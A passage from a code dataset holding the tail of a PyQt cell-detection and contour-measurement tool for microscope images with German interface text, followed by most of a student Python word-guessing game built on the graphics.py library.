progress.setValue(0)\n progress.forceShow()\n for p in self.mImgList:\n progress.setLabelText('Erkenne Zellen {0}/{1}'.format(progress.value() + 1, len(self.mImgList)))\n progress.forceShow()\n self.filePath = p\n self.cellDetection()\n progress.setValue(progress.value() + 1)\n progress.close()\n progress = QMessageBox.information(self, u'Information', 'Erkennnung der Zellen abgeschlossen')\n\n def calcContours(self):\n rendered = False\n if not self.canvas.shapes:\n return\n else:\n fullImg = io.imread(self.filePath)\n for i, s in enumerate(self.canvas.shapes):\n xmin, ymin = int(s.points[0].x()), int(s.points[0].y())\n xmax, ymax = int(s.points[2].x()), int(s.points[2].y())\n img = fullImg[ymin:ymax + 1, xmin:xmax + 1, :]\n\n if self.canvas.shapes[i].contour_points:\n continue\n else:\n rendered = True\n img = rgb2gray(img)\n try:\n assert_nD(img, 2)\n if img.shape[0] <= 1 or img.shape[1] <= 1:\n raise ValueError('Box ist vertikale oder horizontale Linie')\n except ValueError as e:\n logging.error('Not all contours could be calculated:{}{}{}{}{}{}'.format(e, img, xmin, xmax, ymin, ymax))\n self.statusBar().showMessage('Möglicherweise konnten nicht alle Konturen berechnet werden')\n self.statusBar().show()\n continue\n if self.unet_usage:\n logging.info('Calling Unet')\n points = self.unet_seg.predictContour(img)\n else:\n logging.info('Rendering {0}'.format(img.shape))\n img = enhance_contrast(img, disk(15))\n image = img_as_float(img)\n left_side, right_side, top_side, bottom_side = list(), list(), list(), list()\n image = img_as_float(enhance_contrast(img, disk(15)))\n ls = morphological_chan_vese(image, 35, init_level_set=checkerboard_level_set(image.shape, 3), smoothing=1).astype(np.uint8)\n ls[0:5, :] = 0\n ls[-5:, :] = 0\n ls[: , 0:5] = 0\n ls[: ,-5:] = 0\n for y in range(ls.shape[0]):\n try:\n x_left, x_right = np.where(ls[y, :] == 1)[0][0], np.where(ls[y, :] == 1)[0][-1]\n left_side.append((y, x_left))\n right_side.append((y, x_right))\n except Exception as e:\n continue\n for x in range(ls.shape[1]):\n try:\n y_top, y_bottom = np.where(ls[:, x] == 1)[0][0], np.where(ls[:, x] == 1)[0][-1]\n top_side.append((y_top, x))\n bottom_side.append((y_bottom, x))\n except Exception as e:\n continue\n points = [x for i, x in enumerate(left_side + list(reversed(right_side))) if (x in top_side + list(reversed(bottom_side)))]\n if len(points) < 5:\n self.canvas.shapes[i].contour_points = list()\n else:\n self.canvas.shapes[i].contour_points = points.copy()\n if rendered:\n self.saveFile()\n\n def genOutput(self):\n if self.dirname is None: \n return\n number_anno_files = len(glob.glob(self.dirname + '/' + '*.xml'))\n currentImg = io.imread(self.filePath)\n width, height = currentImg.shape[0], currentImg.shape[1]\n del(currentImg)\n dialog = scaleDialog(parent=self, width=width, height=height, scaling=self.pixel_scale)\n dialog.exec()\n self.pixel_scale = dialog.pixel_scale\n excel_filename = dialog.filename\n dialog.close()\n del(dialog)\n tableGenerator = cellTableGenerator(self.dirname + '/' + excel_filename + '.xlsx')\n progress = QProgressDialog('Berechne Ergebnisse {0}/{1}'.format(0, number_anno_files) , None, 0, 0, self)\n progress.setWindowTitle('Bitte warten')\n progress.setWindowModality(Qt.WindowModal)\n progress.setRange(0, number_anno_files)\n progress.setValue(0)\n progress.forceShow()\n for p in self.mImgList:\n marked_img_list = list()\n anno_file = p.split('.')[0] + '.xml'\n if not os.path.exists(anno_file):\n continue\n else:\n progress.setLabelText('Erzeuge Ergebnisse {0}/{1}'.format(progress.value() + 1, number_anno_files))\n progress.forceShow()\n self.filePath = p\n self.loadFile(self.filePath)\n draw_file = Image.open(self.filePath)\n draw = ImageDraw.Draw(draw_file)\n font = ImageFont.truetype('UbuntuMono.ttf', 30)\n image_filename = self.filePath.split('/')[-1]\n tableGenerator.add_cellcount(image_filename, len(self.canvas.shapes))\n for i, s in enumerate(self.canvas.shapes):\n xmin, xmax, ymin, ymax = s.points[0].x(), s.points[2].x(), s.points[0].y(), s.points[2].y()\n if not s.contour_points:\n continue\n else:\n polygon_points = [(int(x+xmin), int(y+ymin)) for y, x in s.contour_points]\n polygon = Polygon([(int(y), int(x)) for y, x in s.contour_points])\n perimeter = polygon.length * self.pixel_scale # polygon.length is defined as perimeter of polygon shape\n r = perimeter / (2 * np.pi) \n V = (4/3) * np.pi * (r**3)\n tableGenerator.add_cell(i+1, image_filename, polygon.area * (self.pixel_scale**2), perimeter, r, V)\n draw.text((int(xmax - ((xmax - xmin)//2)), int(ymax - ((ymax - ymin)//2))), \"{:.3f}\".format(polygon.area * (self.pixel_scale**2)), fill=(0,0,0,255), font=font)\n draw.text((int(xmin), int(ymin)), \"{}\".format(i+1), fill=(0,0,0,255), font=font)\n draw.polygon(polygon_points, outline=(255,255,0,255))\n draw.text((10, 10), str(len(self.canvas.shapes)), fill=(0,0,0,255), font=font)\n draw_file.save(self.filePath.split('.')[0] + '_done' + '.jpg')\n progress.setValue(progress.value() + 1)\n progress.close()\n tableGenerator.close()\n info = QMessageBox.information(self, u'Information', 'Ergebnis wurde in {0}.xlsx gespeichert'.format(excel_filename))\n\n\n def loadRecent(self, filename, cellDetection=False):\n if not cellDetection:\n if self.dirty:\n self.saveFile()\n self.loadFile(filename)\n\n def scanAllImages(self, folderPath):\n extensions = ['.jpeg', '.jpg', '.png', '.bmp']\n images = []\n for root, dirs, files in os.walk(folderPath):\n for file in files:\n if file.lower().endswith(tuple(extensions)):\n relativePath = os.path.join(root, file)\n path = ustr(os.path.abspath(relativePath))\n images.append(path)\n images.sort(key=lambda x: x.lower())\n return images\n\n def openDirDialog(self, _value=False, dirpath=None):\n if self.dirty:\n self.saveFile()\n defaultOpenDirPath = dirpath if dirpath else '.'\n if self.lastOpenDir and os.path.exists(self.lastOpenDir):\n defaultOpenDirPath = self.lastOpenDir\n else:\n defaultOpenDirPath = os.path.dirname(self.filePath) if self.filePath else '.'\n targetDirPath = ustr(QFileDialog.getExistingDirectory(self, '%s - Verzeichnis öffnen' % __appname__, defaultOpenDirPath, QFileDialog.ShowDirsOnly | QFileDialog.DontResolveSymlinks))\n self.importDirImages(targetDirPath)\n\n def importDirImages(self, dirpath):\n if not self.mayContinue() or not dirpath:\n return\n self.lastOpenDir = dirpath\n self.dirname = dirpath\n self.filePath = None\n self.fileListWidget.clear()\n self.mImgList = self.scanAllImages(dirpath)\n self.openNextImg()\n for imgPath in self.mImgList:\n item = QListWidgetItem(imgPath)\n self.fileListWidget.addItem(item)\n\n def openPrevImg(self, _value=False):\n if self.autoSaving:\n if self.defaultSaveDir is not None:\n if self.dirty is True:\n self.saveFile()\n if self.dirty:\n self.saveFile()\n if len(self.mImgList) <= 0:\n return\n if self.filePath is None:\n return\n currIndex = self.mImgList.index(self.filePath)\n if currIndex - 1 >= 0:\n filename = self.mImgList[currIndex - 1]\n if filename:\n self.resetOverlays()\n self.loadFile(filename)\n if self.canvas.showContourOverlay:\n self.calcContours()\n\n\n def openNextImg(self, _value=False):\n if self.autoSaving:\n if self.defaultSaveDir is not None:\n if self.dirty is True:\n self.saveFile()\n if self.dirty:\n self.saveFile()\n if len(self.mImgList) <= 0:\n return\n filename = None\n if self.filePath is None:\n filename = self.mImgList[0]\n else:\n currIndex = self.mImgList.index(self.filePath)\n if currIndex + 1 < len(self.mImgList):\n filename = self.mImgList[currIndex + 1]\n if filename:\n self.resetOverlays()\n self.loadFile(filename)\n if self.canvas.showContourOverlay:\n self.calcContours()\n\n def openFile(self, _value=False):\n if not self.mayContinue():\n return\n path = os.path.dirname(ustr(self.filePath)) if self.filePath else '.'\n formats = ['*.%s' % fmt.data().decode(\"ascii\").lower() for fmt in QImageReader.supportedImageFormats()]\n filters = \"Bilder (%s)\" % ' '.join(formats + ['*%s' % LabelFile.suffix])\n filename = QFileDialog.getOpenFileName(self, '%s - Bild auswählen' % __appname__, path, filters)\n if filename:\n if isinstance(filename, (tuple, list)):\n filename = filename[0]\n self.loadFile(filename)\n\n def saveFile(self, _value=False):\n imgFileDir = os.path.dirname(self.filePath)\n imgFileName = os.path.basename(self.filePath)\n savedFileName = os.path.splitext(imgFileName)[0] + XML_EXT\n savedPath = os.path.join(imgFileDir, savedFileName)\n self._saveFile(savedPath)\n\n def _saveFile(self, annotationFilePath):\n if annotationFilePath and self.saveLabels(annotationFilePath):\n self.setClean()\n\n\n def closeFile(self, _value=False):\n if self.dirty:\n self.saveFile()\n self.resetState()\n self.setClean()\n self.toggleActions(False)\n self.canvas.setEnabled(False)\n\n def resetAll(self):\n self.settings.reset()\n self.close()\n proc = QProcess()\n proc.startDetached(os.path.abspath(__file__))\n\n def mayContinue(self):\n return not (self.dirty and not self.discardChangesDialog())\n\n def discardChangesDialog(self):\n yes, no = QMessageBox.Yes, QMessageBox.No\n msg = u'Sie haben ungespeicherte Annotationen. Dennoch fortfahren ?'\n return yes == QMessageBox.warning(self, u'Ungespeicherte Annotationen', msg, yes | no)\n\n def noAnnotationFileDialog(self):\n ok = QMessageBox.Ok\n msg = u'Keine Datei mit Annnotationen gefunden !'\n return QMessageBox.information(self, u'Keine Annotationen gefunden', msg, ok)\n\n def deleteAnnotationsDialog(self, fileName=None):\n yes, no = QMessageBox.Yes, QMessageBox.No\n if fileName is None: \n fileName = (self.filePath.split('/')[-1]).split('.')[0] + XML_EXT\n msg = u'Möchten Sie alle gespeicherten Daten zu {0} wirklich löschen ?'.format(fileName)\n return yes == QMessageBox.warning(self, u'Löschen', msg, yes | no)\n\n def errorMessage(self, title, message):\n return QMessageBox.critical(self, title, '

    %s

    %s' % (title, message))\n\n def currentPath(self):\n return os.path.dirname(self.filePath) if self.filePath else '.'\n\n def deleteSelectedShape(self):\n self.toggleDrawMode(True)\n self.remLabel(self.canvas.deleteSelected())\n self.saveFile()\n\n def moveShape(self):\n self.canvas.endMove(copy=False)\n self.setDirty()\n\n def loadPredefinedClasses(self, predefClassesFile):\n if os.path.exists(predefClassesFile) is True:\n with codecs.open(predefClassesFile, 'r', 'utf8') as f:\n for line in f:\n line = line.strip()\n if self.labelHist is None:\n self.labelHist = [line]\n else:\n self.labelHist.append(line)\n\n def loadPascalXMLByFilename(self, xmlPath):\n if self.filePath is None:\n return\n if os.path.isfile(xmlPath) is False:\n return\n tVocParseReader = PascalVocReader(xmlPath)\n shapes = tVocParseReader.getShapes()\n self.loadLabels(shapes)\n self.canvas.verified = tVocParseReader.verified\n\n\ndef read(filename, default=None):\n try:\n img = io.imread(filename)\n return img\n except:\n return default\n\n\ndef get_main_app(argv=[]):\n app = QApplication(argv)\n app.setApplicationName(__appname__)\n app_icon = QIcon()\n app_icon.addFile('icon.png', QSize(225, 225))\n app.setWindowIcon(app_icon)\n win = MainWindow(argv[1] if len(argv) >= 2 else None, argv[2] if len(argv) >= 3 else os.path.join(os.path.dirname(sys.argv[0]),\n 'data', 'predefined_classes.txt'))\n win.show()\n return app, win\n\n\ndef main(argv=[]):\n app, _win = get_main_app(argv)\n return app.exec_()\n\n\nif __name__ == '__main__':\n logging.basicConfig(filename='applog.txt', filemode='w', format='%(name)s - %(levelname)s - %(message)s', level=logging.DEBUG)\n logging.getLogger('tensorflow').disabled = True\n os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2' \n sys.exit(main(sys.argv))\n","repo_name":"mahabbasha/adpkd-support-tool","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":47341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"14985639434","text":"# Zach Rubin, Reka Kovacs\n# Project 3\n# This program creates multiple Graphics windows which allows the user to click circles to make guesses\n# in order to try to guess the randomly selected word chosen from the words.txt file. They also have the\n# option to use the hint button to rule out 3 incorrect characters for 3 guesses. If the user is\n# incorrect for 10 guesses the player loses and enters their score to the file. If the player wins they click\n# to continue to play a new game with their score transferred from the previous result. They also have\n# the option to view the highscores.txt file.\n\n# Import the graphics and random libraries in order to use the graphics functions and select a random word\nimport random as rand\nfrom graphics import *\n\n# Defines the main function\ndef main():\n # Creates a list of background colors to cycle through\n background_colors = ['gold', 'yellow', 'green yellow', 'spring green', 'turquoise', 'light blue',\n 'light slate blue', 'dark violet', 'maroon', 'firebrick3']\n # Calls the control_panel() function and return the window object\n window = control_panel()\n # Total and score are set to zero and games is set to 1 so it is true\n total, games, score, rounds = 0, 1, 0, 0\n # While loop runs until games equals one\n while games:\n wind = 0\n # Sets games to the result of the clicked() function\n try:\n games = clicked(window.checkMouse(), window)\n except:\n break\n if games == 2:\n # Try and except block closes the window if possible, otherwise passes\n try:\n wind.close()\n except:\n pass\n # Calls the game panel function and sets count equal to the length\n wind, circles, letters, squares, polygons, status, prompt, selected_word, length = game_panel()\n count = length\n elif games == 4:\n high_scores()\n elif games == 5:\n manual()\n # While the number of games is set to 2 the while loop plays the game\n while games == 2:\n # The score is increased by 10 and rounds by 1\n score += 10\n rounds += 1\n # and i and wrong_guesses are set to 0\n x, i, wrong_guesses, hint_check, hint_letters = 0, 0, 0, 0, []\n # The score object is created using the current score\n score_text = Text(Point(230, 15), \"SCORE: \" + str(score))\n # Try and except block attempts to draw in the window, otherwise passes\n try:\n score_text.draw(wind)\n except:\n pass\n # For loop iterates through for each of the 10 guesses a user is given\n while i < 10:\n # Checks to see if the guess was only a single character\n click = window.checkMouse()\n click_check = clicked(click, wind)\n # If 0 is return from the click function quit was clicked so the program ends\n if not click_check:\n return\n # If games = 2 then new game was clicked so the current window is closed\n elif 2 == click_check:\n wind.close()\n # New game panel is created resetting all of the graphics objects\n wind, circles, letters, squares, polygons, status, prompt, selected_word, length = game_panel()\n # wrong_guesses is reset to zero, games is set to 2 so the function continues, and score is reset\n wrong_guesses, games, count, score = 0, 2, length, 0\n # breaks the while loop\n break\n # If games = 3 then hint was clicked so\n elif 3 == click_check:\n # Checks if score is not equal to one so the can't have a negative score\n if score != 1:\n # Checks to see the hint hasn't already been clicked this round\n if not hint_check:\n q = 0\n # While loop runs until 3 incorrect letters have been ruled out\n while q < 3:\n # Sets actual letter to zero to check if the random circle was in fact correct\n actual_letter = 0\n # Sets x to a random number that would be within the list of circles\n x = rand.randint(0, 25)\n # If the circle is set to False, the while loop continues\n if not circles[x]:\n continue\n # For loop iterates through the selected word and if it matches a character then actual\n # letter is set to one so it will be avoided\n for z in range(length):\n if chr(x + 65) == selected_word[z]:\n actual_letter += 1\n # Checks that it isn't a correct letter\n if not actual_letter:\n # Sets the fill of the incorrect letter to gold and black\n circles[x].setFill('gold')\n letters[x].setFill('black')\n # The corresponding circle object is set to False and q is incremented by one\n circles[x] = False\n q += 1\n # Upon completing the while loop wrong_guesses and the score is updated\n wrong_guesses += 2\n # Two polygons are dropped\n drop(polygons, i)\n drop(polygons, i+1)\n # Hint check becomes set to one and the i counter is incremented by 2\n hint_check = 1\n i += 2\n continue\n # If games = 4 then scores was clicked so\n elif 4 == click_check:\n high_scores()\n elif 5 == click_check:\n manual()\n else:\n # Draws the score object in the window\n score_text.setText(\"SCORE : \" + str(score - wrong_guesses))\n # Sets the background based on the number of incorrect guesses\n wind.setBackground(background_colors[wrong_guesses])\n # Try and except block attempts to check for a mouse click\n try:\n click = wind.checkMouse()\n except:\n pass\n if click:\n # For loop iterates through the range of all possible circles\n for j in range(len(circles)):\n # If the circle is set to False, the for loop continues\n if not circles[j]:\n continue\n # define the x and y coordinates of the clicked point\n x = click.getX()\n y = click.getY()\n # define the radius and center of the specific circle being used\n radius = circles[j].getRadius()\n center = circles[j].getCenter()\n # define the x and y values of the specific circle being used\n x_val = center.getX()\n y_val = center.getY()\n # calculate the distance between the center of the circle and the clicked point\n distance = (x - x_val) ** 2 + (y - y_val) ** 2\n # if the click is within the circle, the letter and circles are filled\n if distance < radius ** 2:\n circles[j].setFill('gold')\n letters[j].setFill('black')\n # The corresponding circle object is set to False as well as the guessed_char variable\n circles[j], guessed_char = False, False\n # The for loop iterates through the selected word\n for z in range(length):\n # The if block checks if a character in the word matches the guessed character\n if chr(j + 65) == selected_word[z]:\n # point is set to the center of the square\n point = squares[z].getCenter()\n # Creates a letter object, sets it to bold, and draws it\n letter = Text(point, selected_word[z])\n letter.setStyle('bold')\n letter.draw(wind)\n # Subtracts one from the count and set guessed_char to False\n count -= 1\n guessed_char = True\n # Checks to see if all of the characters of the word have been correctly guessed\n if count == 0:\n # Sets the text and prompt to the winning condition\n status.setText(\"YOU WIN - BOILER UP!\")\n prompt.setText(\"Click to continue\")\n wind.getMouse()\n wind.close()\n # Resets all the variables and also calls the game_panel()\n score = score - wrong_guesses + 10\n wind, circles, letters, squares, polygons, status, prompt, selected_word, length = game_panel()\n count = length\n i, wrong_guesses, games = 0, 0, 2\n # Sets the new score_text to the updated score and then draws it in the window\n score_text = Text(Point(230, 15), \"SCORE: \" + str(score))\n score_text.draw(wind)\n break\n if not guessed_char:\n # Increments wrong_guesses and i by 1\n wrong_guesses += 1\n i += 1\n # Updates the score text and drops the corresponding polygon\n score_text.setText(\"SCORE : \" + str(score - wrong_guesses))\n drop(polygons, i-1)\n continue\n # If i equals 10 then that means the user used all ten of their guesses\n if i == 10:\n wind.setBackground('firebrick4')\n # Sets the fill of the status and prompt texts to red and changes the test to Click to Exit and Game Over\n status.setFill('red')\n prompt.setFill('red')\n # Sets the prompt and text to the losing conditions\n prompt.setText(\"Click to exit\")\n status.setText('GAME OVER')\n myEntry = Entry(Point(280, 350), 16)\n myEntry.setFill('white')\n myEntry.draw(wind)\n # Creates and draws a black rectangle\n prompt_box = Rectangle(Point(220, 320), Point(340, 350))\n prompt_box.setFill('black')\n prompt_box.draw(wind)\n # Creates and draws a black rectangle\n save_box = Rectangle(Point(340, 340), Point(400, 360))\n save_box.setFill('black')\n save_box.draw(wind)\n # Creates a text object stating save\n save = Text(Point(370, 350), \"SAVE\")\n save.setSize(12)\n save.setFill('white')\n save.draw(wind)\n # Text object instructs user to enter their name\n prompt = Text(Point(280, 330), \"Enter your name\")\n prompt.setSize(12)\n prompt.setFill('white')\n prompt.draw(wind)\n # While loop runs until a name is entered\n while True:\n click = wind.checkMouse()\n if click:\n # define the x and y coordinates of the clicked point\n x = click.getX()\n y = click.getY()\n # Checks if the y component of the click matches the new and quit objects\n if 340 <= y <= 360:\n # Checks if the new object was clicked\n if 340 <= x <= 400:\n # Collects the entry string\n myString = myEntry.getText()\n with open('scores.txt', 'a') as f:\n # If no name is entered their name becomes Anonymous\n if myString == '':\n myString = 'Anonymous'\n # The scores is subtracted by 10 to avoid it being added again due to loop sequence\n score -= 10\n # Writes the player's name, round, and score to the file and breaks the while loop\n f.write('\\n'+myString+','+str(rounds)+','+str(score))\n break\n # CLoses the window and sets games to 2\n wind.close()\n games = 2\n\n\n# Defines control_panel function\ndef control_panel():\n # Creates a 300x280 window titled Welcome to:\n window = GraphWin('Welcome to:', 300, 280)\n window.setBackground('light grey')\n # Creates a header box and sets its background to black\n header_box = Rectangle(Point(0, 0), Point(300, 20))\n header_box.setFill('black')\n header_box.draw(window)\n # Creates a bold, gold text object for the header block with\n title = Text(Point(150, 10), \"GUESS MASTER 2.0\")\n title.setFill('gold')\n title.setStyle(\"bold\")\n title.draw(window)\n # Creates a new box and sets its background to gold\n new_box = Rectangle(Point(15, 40), Point(75, 70))\n new_box.setFill('gold')\n new_box.draw(window)\n # Creates a black, bold text object for the header block\n new_text = Text(Point(45, 55), \"NEW\")\n new_text.setFill('black')\n new_text.setStyle(\"bold\")\n new_text.draw(window)\n # Creates a new box and sets its background to gold\n hint_box = Rectangle(Point(85, 40), Point(145, 70))\n hint_box.setFill('black')\n hint_box.draw(window)\n # Creates a black, bold text object for the header block\n hint_text = Text(Point(115, 55), \"HINT\")\n hint_text.setFill('gold')\n hint_text.setStyle(\"bold\")\n hint_text.draw(window)\n # Creates a quit box and sets its background to black\n scores_box = Rectangle(Point(155, 40), Point(215, 70))\n scores_box.setFill('gold')\n scores_box.draw(window)\n # Creates a bold, gold text object for the header block\n scores_text = Text(Point(185, 55), \"HIGH\\nSCORES\")\n scores_text.setSize(8)\n scores_text.setFill('black')\n scores_text.setStyle(\"bold\")\n scores_text.draw(window)\n # Creates a quit box and sets its background to black\n quit_box = Rectangle(Point(225, 40), Point(285, 70))\n quit_box.setFill('black')\n quit_box.draw(window)\n # Creates a bold, gold text object for the header block\n quit_text = Text(Point(255, 55), \"QUIT\")\n quit_text.setFill('gold')\n quit_text.setStyle(\"bold\")\n quit_text.draw(window)\n # Create a box for the game instructions\n manual = Rectangle(Point(15,240),Point(75,270))\n manual.setFill(\"white\")\n manual.draw(window)\n # Create a title for the game instructions\n info = Text(Point(45,255),\"How to\\nplay\")\n info.setSize(9)\n info.setFill(\"black\")\n info.draw(window)\n\n # Creates a bold text object prompting instructions\n instructions = Text(Point(150, 230), \"Click NEW to start a game...\")\n instructions.setStyle(\"bold\")\n instructions.draw(window)\n # Creates a white filled rectangle\n prompt_box = Rectangle(Point(21, 100), Point(279, 200))\n prompt_box.setFill('white')\n prompt_box.draw(window)\n # Creates a text object describing the game play\n prompt = Text(Point(150, 150), \" This is a game where your score is\\n based on the number of 4-6 letter\\n\"\n \"words you can guess within 10 tries.\")\n prompt.draw(window)\n return window\n\n\n# Defines the game_panel() function which takes the score, window, and games as parameters\ndef game_panel():\n # Creates the graphics window and sets the background to gold\n wind = GraphWin('Save the Block P', 460, 500)\n wind.setBackground('gold')\n # Sets height to 427 and creates four empty lists\n height = 427\n circles, letters, squares, polygons = [], [], [], []\n # Iterates through a range of 26\n for i in range(26):\n # If block checks to see if its one of the first 13 circles\n if i <= 12:\n # z is the multiple of the current range index\n z = i * 33\n # Circles with radius 16.5 is created with a radius of 16.5 with a black fill\n c = Circle(Point(32 + z, height), 16.5)\n c.setFill('black')\n else:\n # height is changed since it's now the lower half\n height = 460\n # z is the multiple of the current range index\n z = (i - 13) * 33\n # Circles with radius 16.5 is created with a radius of 16.5 with a black fill\n c = Circle(Point(32 + z, height), 16.5)\n c.setFill('black')\n # The created circles are drawn and appended to the circles list\n c.draw(wind)\n circles.append(c)\n\n # Text objects are created using the same points as the circles\n a = Text(Point(32 + z, height), chr(i + 65))\n # The fill is set to white, style to bold, and the letters are drawn and appended\n a.setFill('white')\n a.setStyle(\"bold\")\n a.draw(wind)\n letters.append(a)\n # Creates polygon object and fills it white\n p1 = Polygon(Point(160, 160), Point(170, 100), Point(235, 100), Point(225, 160))\n p1.setFill('white')\n p1.draw(wind)\n # Creates polygon object and fills it white\n p2 = Polygon(Point(225, 160), Point(235, 100), Point(300, 100), Point(290, 160))\n p2.setFill('white')\n p2.draw(wind)\n # Creates polygon object and fills it white\n p3 = Polygon(Point(290, 160), Point(300, 100), Point(365, 100), Point(355, 160))\n p3.setFill('white')\n p3.draw(wind)\n # Creates polygon object and fills it white\n p4 = Polygon(Point(150, 220), Point(160, 160), Point(225, 160), Point(215, 220))\n p4.setFill('white')\n p4.draw(wind)\n # Creates polygon object and fills it white\n p5 = Polygon(Point(280, 220), Point(290, 160), Point(355, 160), Point(345, 220))\n p5.setFill('white')\n p5.draw(wind)\n # Creates polygon object and fills it white\n p6 = Polygon(Point(140, 280), Point(150, 220), Point(215, 220), Point(205, 280))\n p6.setFill('white')\n p6.draw(wind)\n # Creates polygon object and fills it white\n p7 = Polygon(Point(205, 280), Point(215, 220), Point(280, 220), Point(270, 280))\n p7.setFill('white')\n p7.draw(wind)\n # Creates polygon object and fills it white\n p8 = Polygon(Point(270, 280), Point(280, 220), Point(345, 220), Point(335, 280))\n p8.setFill('white')\n p8.draw(wind)\n # Creates polygon object and fills it white\n p9 = Polygon(Point(130, 340), Point(140, 280), Point(205, 280), Point(195, 340))\n p9.setFill('white')\n p9.draw(wind)\n # Creates polygon object and fills it white\n p10 = Polygon(Point(110, 390), Point(120, 340), Point(205, 340), Point(195, 390))\n p10.setFill('white')\n p10.draw(wind)\n # Creates polygon object, fills it black, and appends it to the list of polygons\n p10 = Polygon(Point(110, 390), Point(120, 340), Point(205, 340), Point(195, 390))\n p10.setFill('black')\n p10.draw(wind)\n polygons.append(p10)\n # Creates polygon object, fills it black, and appends it to the list of polygons\n p9 = Polygon(Point(130, 340), Point(140, 280), Point(205, 280), Point(195, 340))\n p9.setFill('black')\n p9.draw(wind)\n polygons.append(p9)\n # Creates polygon object, fills it black, and appends it to the list of polygons\n p6 = Polygon(Point(140, 280), Point(150, 220), Point(215, 220), Point(205, 280))\n p6.setFill('black')\n p6.draw(wind)\n polygons.append(p6)\n # Creates polygon object, fills it black, and appends it to the list of polygons\n p4 = Polygon(Point(150, 220), Point(160, 160), Point(225, 160), Point(215, 220))\n p4.setFill('black')\n p4.draw(wind)\n polygons.append(p4)\n # Creates polygon object, fills it black, and appends it to the list of polygons\n p1 = Polygon(Point(160, 160), Point(170, 100), Point(235, 100), Point(225, 160))\n p1.setFill('black')\n p1.draw(wind)\n polygons.append(p1)\n # Creates polygon object, fills it black, and appends it to the list of polygons\n p2 = Polygon(Point(225, 160), Point(235, 100), Point(300, 100), Point(290, 160))\n p2.setFill('black')\n p2.draw(wind)\n polygons.append(p2)\n # Creates polygon object, fills it black, and appends it to the list of polygons\n p3 = Polygon(Point(290, 160), Point(300, 100), Point(365, 100), Point(355, 160))\n p3.setFill('black')\n p3.draw(wind)\n polygons.append(p3)\n # Creates polygon object, fills it black, and appends it to the list of polygons\n p5 = Polygon(Point(280, 220), Point(290, 160), Point(355, 160), Point(345, 220))\n p5.setFill('black')\n p5.draw(wind)\n polygons.append(p5)\n # Creates polygon object, fills it black, and appends it to the list of polygons\n p8 = Polygon(Point(270, 280), Point(280, 220), Point(345, 220), Point(335, 280))\n p8.setFill('black')\n p8.draw(wind)\n polygons.append(p8)\n # Creates polygon object, fills it black, and appends it to the list of polygons\n p7 = Polygon(Point(205, 280), Point(215, 220), Point(280, 220), Point(270, 280))\n p7.setFill('black')\n p7.draw(wind)\n polygons.append(p7)\n\n # Opens the words.txt file using a with block\n with open('words.txt') as words:\n # The readlines() method creates a list named words_list of all the words in the file\n words_list = words.readlines()\n # Randomly selects a word from the list of words from the file\n selected_word = words_list[rand.randint(0, len(words_list))]\n # Chops off the last two elements of the string to remove \\n\n selected_word = selected_word[:len(selected_word) - 1].upper()\n length = len(selected_word)\n # If else statements set the initial x value of the squares to be centered given the length of the word\n if length == 4:\n initial_x = 110\n elif length == 5:\n initial_x = 80\n else:\n initial_x = 50\n # For loop iterates through the length of the word\n for i in range(length):\n # j is set to the multiple of the range index of the squares\n j = i*60\n # The squares are created as rectangles, filled gold, drawn, and appended\n square = Rectangle(Point(initial_x+j, 30), Point(initial_x+60+j, 90))\n square.setFill('gold')\n square.draw(wind)\n squares.append(square)\n # Status object is created filled grey and drawn\n status = Text(Point(230, 240), \"\")\n status.setFill('grey')\n status.draw(wind)\n # Prompt object is created filled grey and drawn\n prompt = Text(Point(230, 270), \"\")\n prompt.setSize(12)\n prompt.setFill('grey')\n prompt.draw(wind)\n return wind, circles, letters, squares, polygons, status, prompt, selected_word, length\n\n\n# Defines drop function taking in polygons and the increment j\ndef drop(polygons, j):\n polygons[j].setFill('red')\n # For loop of range 200 moves the polygon object a small amount for that many times\n for movement in range(400):\n polygons[j].move(0, 20)\n\n\n# Defines the clicked function taking click and window as arguments\ndef clicked(click, window):\n # Checks to see if a click was registered\n if click is not None:\n # define the x and y coordinates of the clicked point\n x = click.getX()\n y = click.getY()\n # Checks if the y component of the click matches the new and quit objects\n if 40 <= y <= 70:\n # Checks if the new object was clicked\n if 15 <= x <= 75:\n return 2\n # Checks if the hint object was clicked\n elif 85 <= x <= 145:\n return 3\n # Checks if the scores object was clicked\n elif 155 <= x <= 215:\n return 4\n # Checks if the quit object was clicked\n elif 225 <= x <= 285:\n window.close()\n return 0\n elif 240 <= y <= 270 and 15 <= x <= 75:\n return 5\n # Returns 1 if neither object was clicked\n return 1\n\n# Defines manual function\ndef manual():\n # Creates manual window\n manualpanel = GraphWin(\"Guess Master 3.0 Instruction Manual\", 200, 200)\n # Creates and draws instructions text\n instructions = Text(Point(100, 20), \"How to play:\")\n instructions.draw(manualpanel)\n # Text object details gameplay, is set to size 14, and drawn in the window\n gameplay = Text(Point(100, 100), \"Players must click on\\nletters in order to guess\\nthe word. \"\n \"A hint may used \\nonce per round, elimating 3\\nincorrect letters, \"\n \"but using up\\n2 guesses. Player wins if they\\ncorrectly \"\n \"enter the word\\nwithin 10 guesses.\")\n gameplay.setSize(14)\n gameplay.draw(manualpanel)\n # Click to close text prompt is displayed\n closemanual = Text(Point(100, 180), \"Click to close\")\n closemanual.draw(manualpanel)\n # Pauses for mouse click and closes window\n manualpanel.getMouse()\n manualpanel.close()\n\n# Defines high_scores function\ndef high_scores():\n # Creates a 250x200 window titled High Scores\n high_scores_win = GraphWin('High Scores', 250, 200)\n # Opens the scores.txt file in a with block\n with open('scores.txt', 'r') as file:\n # Readlines method creates a list of every line in the file\n lines = file.readlines()\n # Defines two empty lists and puts the header in the other\n line, text_objects, output, = [], [], ['Player\\tRounds\\tScore', '=-=-=-=-=-=-=-=-=-=-=']\n # For loop iterates through every line from the file\n for i in lines:\n # splits the data and appends it to the line list\n data = i.split(',')\n line.append(data)\n # For loop iterates through each line and reorganizes it\n for j in range(len(line)):\n # Makes the third element the first as an integer and the first element the third\n first = line[j][2]\n last = line[j][0]\n line[j][0] = int(first)\n line[j][2] = last\n # Sorts the scores since the first element is the score integer\n scores = sorted(line, reverse=True)\n # For loop iterates through the sorted scores list\n for e in range(len(scores)):\n # Formats the output as name, round, and score as a list\n out = ['{0:<10}{1:<6}{2:>5}'.format(scores[e][2], scores[e][1], scores[e][0])]\n # Adds the row as an element to the prior list including the header\n output = output + out\n # For loop takes the two header elements and the seven top scores\n for s in range(9):\n # Creates and draws centered text objects progressively farther down, appending each object to a list\n text = Text(Point(125, 10 + 20 * s), output[s])\n text.setSize(14)\n 